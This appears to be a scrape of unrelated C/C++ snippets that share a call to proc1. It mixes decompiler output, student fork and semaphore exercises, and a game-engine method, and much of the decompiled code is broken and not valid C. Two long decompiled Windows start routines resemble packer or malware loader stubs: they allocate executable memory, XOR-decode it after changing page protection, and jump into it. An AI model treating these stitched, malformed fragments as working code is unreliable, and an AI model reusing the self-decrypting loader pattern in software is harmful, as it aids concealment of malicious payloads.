// address: 0x1000044c int main(int argc, char *argv[], char *envp[]) { int g3; // r3 g3 = proc1(3, 4); printf("%i\n", g3); g3 = proc1(5, 6); printf("%i\n", g3); return g3; }
// Address range: 0x100004f4 - 0x1000055f int main(int argc, char ** argv) { // 0x100004f4 int32_t v1; // bp-32 v1 = &v1; printf("%d\n", proc1(argc, (char *)*(int32_t *)((int32_t)argv + 4))); return 0; }
proc1( _unknown_ __o0, // r8 _unknown_ __o1, // r9 _unknown_ __o7, // r15 _unknown_ __i7, // r31 void _a8 // _cfa_8 ) {// addr = 0x00010618 signed int _t9; // _t9 _unknown_ _t12; // _t12 _unknown_ _t14; // _t14 _unknown_ _t15; // _t15 _unknown_ _t16; // _t16 __i7 = __i7; __o7 = __o7; _t13 = __o1; goto ( &_a8); _t9 = __o0 - __o1; proc1(11 | _t9, _t13, __o7, __i7); printf(); asm("restore %g2, 88, %o0"); L3(); asm("!UNIMP"); _t12 = __o7 + _a8; __l0 = *((void*)(_t12 - 8)); __l1 = *((void*)(_t12 - 16)); if(__l0) { } if(__l1) { } goto (__i7 + 8); asm("restore %g0, %g0, %g0"); }
main( signed int __o0, // r8 _unknown_ __o1, // r9 _unknown_ __o7, // r15 _unknown_ __i7, // r31 void _a8 // _cfa_8 ) {// addr = 0x00010620 _unknown_ _t10; // _t10 _unknown_ _t11; // _t11 _unknown_ _t12; // _t12 _unknown_ _t14; // _t14 _unknown_ _t15; // _t15 _unknown_ _t16; // _t16 __i7 = __i7; __o7 = __o7; proc1(11 | __o0, __o1, __o7, __i7); printf(); asm("restore %g2, 88, %o0"); L2(); asm("!UNIMP"); _t10 = __o7 + _a8; __l0 = *((void*)(_t10 - 8)); __l1 = *((void*)(_t10 - 16)); if(__l0) { } if(__l1) { } goto (__i7 + 8); asm("restore %g0, %g0, %g0"); }
// address: 0x40106c void _start() { int ecx; // r25 __size32 edx; // r26 LoadLibraryA(0); ecx = GetCommandLineA(); /* Warning: also results in edx */ proc1(pc, pc, 0x15000, ecx, edx, SUBFLAGS32(0xae0809f2, 0x82903842, 0x2b77d1b0), 0, 0); }
int main(int argc, char* argv[]) { // Blokada wskazuje na 1 proces. lock = 1; boost::thread proc1(&process1); boost::thread proc2(&process2); proc1.join(); proc2.join(); return 0; }
/** address: 0x1000044c */ int main(int argc, char *argv[]) { int g3; // r3 g3 = proc1(11, 4); printf("%i\n", g3); return g3; }
// address: 0x4010b3 void _start() { __size32 eax; // r24 int ecx; // r25 LoadLibraryA(0); LoadLibraryA(0); LoadLibraryA(0); eax = LoadLibraryA(0); /* Warning: also results in ecx */ proc1(pc, pc, 0x15000, ecx, eax, LOGICALFLAGS32(1), LOGICALFLAGS32(1), LOGICALFLAGS32(1)); }
// address: 0x40bbdc void _start(int param1) { __size32 eax; // r24 eax = IsWindow(); if (eax == 0) { GetPrivateProfileIntA(); proc1(param1); } return; }
int main(int argc, char argv[]) { int pid1, pid2; int ret1 = 0; int ret2 = 0; //Semaphore key_t cle; int er; /* cle = ftok("/home/eleves/promo16/elec/fan/Documents/embeddedLinux/tp3/tp3_prog2.log",0); if(cle == (key_t) -1) { perror("erreur ftok\n"); exit(1); }*/ int semid; semid = semget(cle,2,IPC_CREAT|0666); if(semid == -1) { perror("erreur semget\n"); exit(1); } //Initialisation a 1 de notre semaphore (qui est le semaphore number 0 de l'ensemble) union semun{ int val; struct smid_ds *buf; ushort *array; } arg; arg.val = 1; er = semctl(semid,0,SETVAL,arg); if (er == -1) { perror("erreur semctl\n"); exit(1); } arg.val = 0; er = semctl(semid,1,SETVAL,arg); if (er == -1) { perror("erreur semctl\n"); exit(1); } pid1 = fork(); if(pid1 == 0) proc1 (semid); pid2 = fork(); if(pid2 == 0) proc2 (semid); wait (&ret1); //Il attend que le thread finit son travail wait (&ret2); //Il attend que le thread finit son travail //Quand on a fini, on nettoye le semaphore if (semctl(semid, 1, IPC_RMID ) == -1 ) { perror("semctl failure while clearing Reason:"); exit(-1); } return 0; }
int main(int argc, char **argv) { #if 1 int pid; pid = fork(); if(pid < 0) { perror("fork"); exit(2); } if(pid == 0) { proc1(); exit(0); } waitpid(pid, NULL, 0); proc2(); #else /* truncate test */ proc1(); rvm_t rvm; printf("Before Truncation:\n"); system("ls -l rvm_segments"); rvm = rvm_init("rvm_segments"); rvm_truncate_log(rvm); printf("\nAfter Truncation:\n"); system("ls -l rvm_segments"); #endif return 0; }
// address: 0x401054 void _start(__size32 param1) { int edx; // r26 GetModuleHandleA(); GetCommandLineA(); GetModuleHandleA(); proc1(0x15000); edx = *(param1 + 176); if (edx - 1 == 0) { *(__size32*)(param1 + 184) = *(param1 + 184) + ADDFLAGS32(176, 8, 184) + 10; } *(__size32*)(param1 + 176) = edx - 1; return; }
int main(int argc, char argv[]) { //Tube initialise int tube[2]; pipe(tube); int pid; int ret = 0; key_t cle; int er; int semid; semid = semget(cle,2,IPC_CREAT|0666); if(semid == -1) { perror("semget\n"); exit(1); } union semun{ int val; struct smid_ds *buf; ushort *array; } arg; arg.val = 1; er = semctl(semid,0,SETVAL,arg); if (er == -1) { perror("semctl\n"); exit(1); } arg.val = 0; er = semctl(semid,1,SETVAL,arg); if (er == -1) { perror("semctl\n"); exit(1); } pid = fork(); if(pid == 0) { proc2 (tube, semid); } proc1(tube, semid); wait (&ret); //Once finished, it clears the semaphore if (semctl(semid, 1, IPC_RMID ) == -1 ) { perror("semctl failure while clearing Reason:"); exit(-1); } return 0; }
int main(int argc, char **argv) { #if 1 int pid; pid = fork(); if(pid < 0) { perror("fork"); exit(2); } if(pid == 0) { proc1(); exit(0); } waitpid(pid, NULL, 0); proc2(); #else proc1(); proc2(); #endif return 0; }
// address: 0x401066 void _start(__size32 param1) { __size32 eax; // r24 int edx; // r26 GetModuleHandleA(); GetCommandLineA(); eax = GetModuleHandleA(); proc1(eax); edx = *(param1 + 168); if (edx - 1 == 0) { *(__size32*)(param1 + 184) = *(param1 + 184) + ADDFLAGS32(168, 16, 184) + 10; } *(__size32*)(param1 + 168) = edx - 1; return; }
// address: 0x40104a void _start() { int edx; // r26 __size32 local0; // m[esp] GetModuleHandleA(); GetCommandLineA(); GetModuleHandleA(); proc1(0x15000); edx = *(local0 + 176); if (edx - 1 == 0) { *(__size32*)(local0 + 184) = *(local0 + 184) + ADDFLAGS32(176, 8, 184) + 10; } *(__size32*)(local0 + 176) = edx - 1; return; }
int main(void) { pthread_t t1, t2; int n; pthread_create(&t1, NULL, thread1, NULL); pthread_create(&t2, NULL, thread2, NULL); while (scanf("%d", &n) == 1) { if (n == 1) proc1(); if (n == 2) proc2(); } pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }
int main(int argc, char** argv) { int pid; pid = fork(); if (pid < 0) { perror("fork"); exit(2); } if (pid == 0) { proc1(); exit(0); } waitpid(pid, NULL, 0); return 0; }
// address: 0x4010c4 void _start(__size32 param1) { __size32 eax; // r24 LoadLibraryA(0); GetProcAddress(0, 0); GetCommandLineA(); GetCommandLineA(); GetCommandLineA(); GetCommandLineA(); GetCommandLineA(); proc1(0x15000); eax = *(param1 + 176); if (eax - 1 == 0) { *(__size32*)(param1 + 184) += 10; } *(__size32*)(param1 + 176) = eax - 1; return; }
// address: 0x40108d void _start(__size32 *param1) { __size32 edx; // r26 GetVersion(); GetVersion(); GetVersion(); GetVersion(); GetVersion(); GetVersion(); GetVersion(); GetVersion(); GetVersion(); GetVersion(); GetVersion(); GetVersion(); edx = GetVersion(); proc1(edx); *(__size32*)0 = *param1; }
// address: 0x401000 void _start(__size32 param1) { __size32 *eax; // r24 __size32 eax_1; // r24{11} __size32 ecx; // r25 eax = *(param1 + 160); eax = *eax; eax = *(eax + 8); eax = *eax; eax = *eax; eax = *eax; eax_1 = *(eax - 4); eax = *(eax_1 + 4); if (eax != 0) { proc1(); proc2(); } proc3(pc, ecx, eax, ecx, eax_1 + 4, param1, LOGICALFLAGS32(eax), LOGICALFLAGS32(eax), LOGICALFLAGS32(eax)); }
int main(int argc, char **argv) { int P1[2], P2[2], P3[2], P4[2]; int p, entry; pipe(P1); pipe(P2); pipe(P3); pipe(P4); child_a = fork(); if (child_a == 0) { log_file = argv[2]; p = getpid(); close(P1[1]); close(P2[1]); close(P3[0]); close(P4[0]); store_manager(P1[0], P3[1], P2[0], P4[1], argv[1], argv[2], p); /* Child A code */ } child_b = fork(); if (child_b == 0) { p = getpid(); signal(SIGUSR1, my_handler); signal(SIGUSR2, my_handler); close(P1[0]); close(P3[1]); proc1(P3[0], P1[1], argv[3], p, argv[2]); } /* Child B code */ // child_c = fork(); // // if (child_c == 0) { // close(P2[0]); // close(P4[1]); /*signal(SIGUSR1, my_handler); signal(SIGUSR2, my_handler); childC_id = getpid();*/ }
int main(int argc, char **argv) { int pid; pid = fork(); if(pid < 0) { perror("fork"); exit(2); } if(pid == 0) { proc1(); exit(EXIT_SUCCESS); } waitpid(pid, NULL, 0); proc2(); printf("Ok\n"); return 0; }
void MadsAnimation::load1(int frameNumber) { if (_skipLoad) return; Common::Point pt; int listIndex = _spriteListIndexes[_spriteListIndex]; SpriteAsset &spriteSet = _view->_spriteSlots.getSprite(listIndex); if (_unkIndex < 0) { M4Surface *frame = spriteSet.getFrame(0); pt.x = frame->bounds().left; pt.y = frame->bounds().top; } else { pt.x = _unkList[_unkIndex].x; pt.y = _unkList[_unkIndex].y; _unkIndex = 1 - _unkIndex; } if (proc1(spriteSet, pt, frameNumber)) error("proc1 failure"); }
int main(int argc, char **argv) { int pid; pid = fork(); if(pid < 0) { perror("fork"); exit(2); } if(pid == 0) { proc1(); printf("proc1 successful ! \n"); exit(0); } waitpid(pid, NULL, 0); printf("Before proc2 called \n"); proc2(); printf("After proc2 called \n"); return 0; }
// address: 0x401065 void _start(__size32 param1) { proc1(pc, 0x10000, 0, param1, LOGICALFLAGS32(0), LOGICALFLAGS32(0), LOGICALFLAGS32(0)); }
int main (int argc, char* argv[]) { printf("%d\n", proc1(argc, argv[1])); return 0; }
// address: 0x1310109b void _start(__size32 param1, __size32 param2, short param3, short param4, char param5, unsigned char param6) { char al; // r8 short ax; // r0 unsigned char dl; // r10 short dx; // r2 __size32 eax; // r24 void *eax_1; // r24{29} __size32 eax_2; // r24{175} unsigned char *eax_3; // r24{450} unsigned char *eax_4; // r24{342} __size32 ebp; // r29 __size32 ebx; // r27 __size32 ebx_1; // r27{231} int ebx_2; // r27{424} int ecx; // r25 unsigned int ecx_2; // r25{101} int edx; // r26 void *edx_1; // r26 __size32 esi; // r30 int esp; // r28 union { void * x89; unsigned int x90; } local10; // m[esp - 820] __size32 local11; // m[esp - 816] __size32 *local12; // m[esp - 812] __size8 *local14; // m[esp - 804] __size32 local15; // m[esp - 28] int local16; // m[esp - 0x2388] unsigned int local17; // m[esp - 828] void *local18; // m[esp - 0x2390] union { void * x143; int x144; } local19; // m[esp - 36] int local20; // m[esp - 804] void *local21; // m[esp - 808] int local22; // m[esp - 812] unsigned char *local23; // m[esp - 12] __size32 local24; // m[esp - 0x2384] void *local25; // m[esp - 612] unsigned int local26; // m[esp - 8] int local27; // m[esp - 24] unsigned int local71; // m[esp - 8]{602} unsigned char *local74; // eax_4{570} union { void * x145; unsigned int x146; } local75; // local14{608} union { void * x147; unsigned int x148; } local76; // local12{610} unsigned char *local77; // eax_3{585} union { int x97; void * x98; } local78; // edx{587} unsigned int local79; // local26{618} __size32 *local9; // m[esp - 824] AddAccessDeniedAce(); eax_1 = SafeArrayGetUBound(); BuildExplicitAccessWithNameA(); BaseInitAppcompatCacheSupport(); eax = *(eax_1 - 0x6cf5e057); ax = proc1(&eax, esp - 572, 4, ¶m2, 0, &24, param3, param4, param5, param6); /* Warning: also results in dx, al */ SetErrorMode(); BaseInitAppcompatCacheSupport(); ecx_2 = *(eax_1 - 0x6cf5e053); ax = proc1(&ecx_2, (esp - 604), 4, ¶m2, 4, &24, ax, dx, al, (unsigned char) esp - 604); /* Warning: also results in dx, al, dl */ ecx = *(eax_1 - 0x6cf5e04f); BaseDumpAppcompatCache(); ax = proc1(&ecx, esp - 28, 4, ¶m2, 8, &24, ax, dx, al, dl); /* Warning: also results in dx, al, dl */ eax_2 = GetModuleHandleA(); AdjustTokenGroups(); ControlTraceA(); BuildTrusteeWithObjectsAndNameA(); ebx_1 = *(eax_1 - 0x6cf5e04b); ax = proc1(&ebx_1, esp - 40, 4, ¶m2, 12, &24, ax, dx, al, dl); /* Warning: also results in dx, al */ local15 = ebx_1 + eax_2; ebx = *(eax_1 - 0x6cf5e047); local16 = ebx; local9 = esp - 0x2388; ax = proc1(&ebx, (esp - 0x2398), 4, ¶m2, 16, &24, ax, dx, al, (unsigned char) eax_1 - 0x6cf5e047); /* Warning: also results in dx, al */ local18 = 20; local19 = eax_1 - 0x6cf5e043; dl = (unsigned char) ecx; local20 = 64; local21 = 0x3000; esi = ecx * 8 + ecx_2 + 12; local22 = esi + eax; local11 = 0; eax_4 = VirtualAlloc(0, esi + eax, 0x3000, 64); /* Warning: also results in edx */ local74 = eax_4; local75 = local20; local76 = local22; ecx = ebx_1 + eax_2 + ecx * 8 + 12; local23 = ecx; local24 = ecx * 8 + 12; local25 = ecx * 8 + 12; local26 = 0; local27 = 0; for(;;) { eax_4 = local74; local71 = local26; local14 = local75; local12 = local76; local77 = eax_4; local78 = edx; local79 = local71; if (local25 != local16) { goto L0; } local26 = local71 + 1; local79 = local26; if (local26 == ecx) { ebx = eax_4 - ecx * 8 - 12; esi = proc1(eax_4, ebx, ecx_2, ¶m1, ecx * 8 + 12, &24, ax, dx, al, dl); /* Warning: also results in ax, dx, al, dl, edx */ (*eax_4 + 0xf50)(local18, local16, local24, pc, eax_4 + ecx_2, eax_4, eax, ecx_2, esp - 564, esp, (esp + 4), (esp + 4), 0x9c000, 0, 0xc000000, 0x10c0, 0x90000000, 272, 0xb200000, 0, 392, 0, 0, 0x4400, 0x80000000, 0x78000000, 0, 0, 0xbc0, (esp + 4), 0x10000, 0xe00000, 0, 0x800, 0, 0x28c0000, 0x900, 0x2800000, 0x4a00000, 0x2600, 0, eax_4 + 0xf50, eax_4 + 0xf50, local25, eax_4, ecx_2, eax_2 + 0x1000, eax_1 - 0x6cf5e057, eax, param1, 24, 67, 28, -75, -19, ecx * 8 + 12, esp, local19, eax_2, local15, local27, ecx, param2, local23, local71 + 1, ebp, ax, dx, al, dl, eax_4 + ecx_2, eax_4, edx, eax, esp - 4, esi, eax_4 + 0xf50, ADDFLAGS32(eax_4, ecx_2, eax_4 + ecx_2), ADDFLAGS32(eax_4, ecx_2, eax_4 + ecx_2), ADDFLAGS32(eax_4, ecx_2, eax_4 + ecx_2)); return; } ecx = *local19; ebx = esp - local18 - 28; ax = proc1(&ecx, ebx, 4, ¶m2, local18, &24, ax, dx, al, (unsigned char) esp - 28); /* Warning: also results in dx, al */ local15 = ecx + eax_2; local18 += 4; local19 += 4; ebx_2 = *local19; local16 = ebx_2; local14 = esp - 564; local21 = local18; local12 = esp - 16; local11 = 4; ebx = esp - local18 - 0x2388; local10 = ebx; local9 = esp - 0x2388; eax_3 = proc1(&ebx_2, ebx, 4, ¶m2, local18, &24, ax, dx, al, (unsigned char) esp - 0x2388); /* Warning: also results in ax, dx, al */ local77 = eax_3; edx_1 = local18 + 4; local18 += 4; local19 += 4; local25 = 0; local23 = ecx + eax_2; local78 = edx_1; L0: eax_3 = local77; edx = local78; local26 = local79; ebx = eax_4 + local27; dl = *local23; edx = edx >> 8 & 0xffffff | (dl); *(unsigned char*)ebx = dl; local23++; local27++; local25++; local24++; local74 = eax_3; local75 = local14; local76 = local12; } }
// address: 0x401010 void _start(unsigned int param1, __size32 param2) { unsigned char dl; // r10 __size32 eax; // r24 int *eax_1; // r24{64} void *eax_2; // r24{144} void *eax_3; // r24{241} int *ebx; // r27 int ebx_1; // r27 int ecx; // r25 __size32 ecx_1; // r25{225} void *esi; // r30 int esp; // r28 void *esp_1; // r28{14} __size32 local0; // m[esp - 24] unsigned int local1; // m[esp - 16] void *local10; // m[esp_1 - 20]{161} void *local11; // m[esp_1 - 20]{205} unsigned int local2; // m[esp - 12] __size32 local3; // m[esp - 20] unsigned int local4; // m[esp - 8] int local5; // m[esp - 28] unsigned int local6; // m[esp_1 - 20]{79} void *local9; // m[esp_1 - 20]{146} esp_1 = proc1(¶m2); *(__size32*)(esp_1 - 4) = 0x2000; local0 = *(esp_1 - 4); *(__size32*)(esp_1 - 4) = 0x10e3f1cf; local1 = *(esp_1 - 4); *(__size32*)(esp_1 - 4) = 0xfb750a4; local2 = *(esp_1 - 4); eax = param1 * 256 + local0 + 0x3fa900; ecx = eax - param1 + 203; *(__size32*)(esp_1 - 4) = *ecx; local3 = *(esp_1 - 4); eax_1 = eax - param1 + 223; *(union { void * x1; int x2; }*)(esp_1 - 4) = esp - 8; *(__size32*)(esp_1 - 8) = 4; *(__size32*)(esp_1 - 12) = local3; *(int **)(esp_1 - 16) = eax_1; VirtualProtect(); ecx = local3; ebx = eax_1; eax = local1 + param1; local4 = 1; ecx_1 = ecx; *(int*)ebx = *ebx ^ eax; ecx = ecx_1 - param1 + 83; while (ecx_1 + 83 >= (int)param1) { eax += local2; eax += local4; ebx = ebx - param1 + 91; local4 = 0 - local4; ecx_1 = ecx; *(int*)ebx = *ebx ^ eax; ecx = ecx_1 - param1 + 83; } ebx = eax_1 - param1 + 147; ebx_1 = *ebx; dl = *(ebx_1 + eax_1 + 6); local5 = 0 >> 8 & 0xffffff | (dl); *(__size32*)(esp_1 - 20) = 64; *(__size32*)(esp_1 - 24) = 0x3000; *(__size32*)(esp_1 - 28) = *(ebx_1 + eax_1 + 80); *(__size32*)(esp_1 - 32) = *(ebx_1 + eax_1 + 52); eax_2 = VirtualAlloc(*(esp_1 - 32), *(esp_1 - 28), *(esp_1 - 24), *(esp_1 - 20)); local9 = eax_2; *(int **)(esp_1 - 24) = eax_1; *(__size32*)(esp_1 - 28) = *(ebx_1 + eax_1 + 84); proc2(*(esp_1 - 28), *(esp_1 - 24), *(esp_1 - 20)); esi = ebx_1 + eax_1 + 248; do { ecx = eax_2 + *(esi + 12); local10 = ecx; eax = eax_1 + *(esi + 20); *(void **)(esp_1 - 24) = eax; *(__size32*)(esp_1 - 28) = *(esi + 16); proc2(*(esp_1 - 28), *(esp_1 - 24), *(esp_1 - 20)); esi += 40; local5 = local5 - 1; } while (local5 != 0); eax = eax_2; do { eax_3 = eax; eax = eax_3 + 4; } while (*(eax_3 + 4) != 0xaabbccdd); local11 = eax_3 + 4; *(__size32*)(esp_1 - 24) = 0x401174; *(__size32*)(esp_1 - 28) = 56; proc2(*(esp_1 - 28), *(esp_1 - 24), *(esp_1 - 20)); return; }
int main() { printf("%i\n", proc1(11, 4)); }